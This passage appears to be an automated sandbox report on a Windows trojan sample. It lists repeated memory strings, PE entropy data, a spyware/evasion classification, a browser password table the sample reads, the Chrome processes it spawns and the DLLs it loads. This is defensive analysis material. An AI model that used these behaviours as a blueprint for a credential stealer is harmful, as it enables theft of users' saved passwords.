Source: 738KZNfnzz.exe, 00000000.00000003.2395617906.000000000591B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399451715.0000000005958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2406839550.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393503454.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399323925.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397247271.000000000593D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394238393.0000000005912000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2410470684.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000002.2562923629.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396687292.0000000005928000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397806985.000000000593D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402996404.000000000598F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398686553.000000000594E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394061945.000000000590E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2404090744.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000002.2563334410.0000000005C16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398301659.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393332756.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2395168332.0000000005924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2430941035.0000000005481000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2408158951.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398431498.0000000005949000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2432165141.00000000053F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2413849224.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2405452656.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400410146.0000000005956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2403324969.0000000005989000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394526071.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397580988.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399726147.0000000005965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393131725.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397704608.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399859940.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399196324.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2432417813.00000000053D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401222341.0000000005972000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394632289.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402254893.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402699699.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2414115000.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2407554289.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2395341010.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399584861.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393410589.00000000054CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400573830.0000000005A53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393868063.000000000590D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2391658316.0000000005666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400934364.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393239657.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399068912.000000000594F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396112292.000000000591C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396577411.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2410203305.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2391774410.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2403645276.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398813912.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396905027.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397458359.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2412634885.0000000005AFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2404244331.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400257460.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402130071.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2432417813.00000000053C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397014943.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393771281.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396241216.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393966066.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398557725.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402548022.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401694229.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398047186.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2409847068.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394430091.0000000005913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2395056990.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2404976014.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2410814404.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2411735903.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2403483204.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394334422.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396472953.0000000005929000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2432852206.00000000053D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2404414536.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402398726.0000000005986000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394733260.0000000005919000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2394158630.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2393599058.00000000054CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401837467.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2399990723.000000000595B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401983184.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe

Source: 738KZNfnzz.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 738KZNfnzz.exe

Static PE information: Section: ZLIB complexity 0.9996361825980392

Source: 738KZNfnzz.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/5

Source: C:\Users\user\Desktop\738KZNfnzz.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 738KZNfnzz.exe, 00000000.00000003.2184194439.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2183925064.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2211488878.00000000053EF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 738KZNfnzz.exe

ReversingLabs: Detection: 60%

Source: 738KZNfnzz.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: 738KZNfnzz.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 738KZNfnzz.exe	String found in binary or memory: X[BRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeQ

Source: C:\Users\user\Desktop\738KZNfnzz.exe

File read: C:\Users\user\Desktop\738KZNfnzz.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\738KZNfnzz.exe "C:\Users\user\Desktop\738KZNfnzz.exe"
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=1968,i,2278090863170060288,8995048806538418828,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,11131422020924396633,11398144967609355547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=1968,i,2278090863170060288,8995048806538418828,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,11131422020924396633,11398144967609355547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\738KZNfnzz.exe	Section loaded: urlmon.dll	Jump to behavior
